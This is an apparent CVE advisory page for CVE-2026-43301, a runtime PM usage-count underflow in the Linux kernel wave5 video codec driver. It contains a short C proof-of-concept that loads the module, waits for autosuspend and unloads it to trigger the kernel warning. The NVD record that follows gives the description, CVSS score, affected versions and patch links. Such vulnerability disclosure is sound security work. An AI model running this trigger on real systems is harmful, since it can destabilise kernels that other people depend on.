CVE-2026-43301

/* * Conceptual PoC for CVE-2026-43301 * Triggering the PM usage count underflow in Linux Kernel wave5 driver. * This requires a system with the vulnerable driver loaded. */ #include <stdio.h> #include <stdlib.h> int main() { printf("[+] Attempting to trigger CVE-2026-43301...\n"); // Step 1: Ensure the driver is loaded (if not already) system("modprobe wave5"); // Step 2: Wait for the device to autosuspend (usage count drops to 0) // The delay depends on the autosuspend delay configured in the driver. printf("[*] Waiting for autosuspend..."); sleep(5); // Step 3: Unload the module to trigger the remove path // This calls the vulnerable remove() function which executes // pm_runtime_put_sync() on a device with count 0, causing underflow. printf("[*] Unloading module to trigger remove path...\n"); system("rmmod wave5"); // Check dmesg for warning: // "WARNING: CPU: X PID: Y at ... vdec ... Runtime PM usage count underflow!" printf("[+] Done. Check 'dmesg' for kernel warnings.\n"); return 0; }

{"cve": {"id": "CVE-2026-43301", "sourceIdentifier": "416baaa9-dc9f-4396-8d5f-8c081fb06d67", "published": "2026-05-08T14:16:37.340", "lastModified": "2026-05-15T13:37:05.710", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "In the Linux kernel, the following vulnerability has been resolved:\n\nmedia: chips-media: wave5: Fix PM runtime usage count underflow\n\nReplace pm_runtime_put_sync() with pm_runtime_dont_use_autosuspend() in\nthe remove path to properly pair with pm_runtime_use_autosuspend() from\nprobe. This allows pm_runtime_disable() to handle reference count cleanup\ncorrectly regardless of current suspend state.\n\nThe driver calls pm_runtime_put_sync() unconditionally in remove, but the\ndevice may already be suspended due to autosuspend configured in probe.\nWhen autosuspend has already suspended the device, the usage count is 0,\nand pm_runtime_put_sync() decrements it to -1.\n\nThis causes the following warning on module unload:\n\n ------------[ cut here ]------------\n WARNING: CPU: 1 PID: 963 at kernel/kthread.c:1430\n kthread_destroy_worker+0x84/0x98\n ...\n vdec 30210000.video-codec: Runtime PM usage count underflow!"}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H", "baseScore": 5.5, "baseSeverity": "MEDIUM", "attackVector": "LOCAL", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "NONE", "availabilityImpact": "HIGH"}, "exploitabilityScore": 1.8, "impactScore": 3.6}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-191"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*", "versionStartIncluding": "6.8", "versionEndExcluding": "6.18.16", "matchCriteriaId": "12C05E5A-F731-4E9B-94E0-2E3F7FBA69A3"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*", "versionStartIncluding": "6.19", "versionEndExcluding": "6.19.6", "matchCriteriaId": "373EEEDA-FAA1-4FB4-B6ED-DB4DD99DBE67"}]}]}], "references": [{"url": "https://git.kernel.org/stable/c/0bffda02317989f8d5cdc2d4462a4110b1290cf0", "source": "416baaa9-dc9f-4396-8d5f-8c081fb06d67", "tags": ["Patch"]}, {"url": "https://git.kernel.org/stable/c/3a278a55ead50db2444c8f01410c7f5a68723990", "source": "416baaa9-dc9f-4396-8d5f-8c081fb06d67", "tags": ["Patch"]}, {"url": "https://git.kernel.org/stable/c/9cf4452e824c1e2d41c9c0b13cc8a32a0a7dec38", "source": "416baaa9-dc9f-4396-8d5f-8c081fb06d67", "tags": ["Patch"]}]}}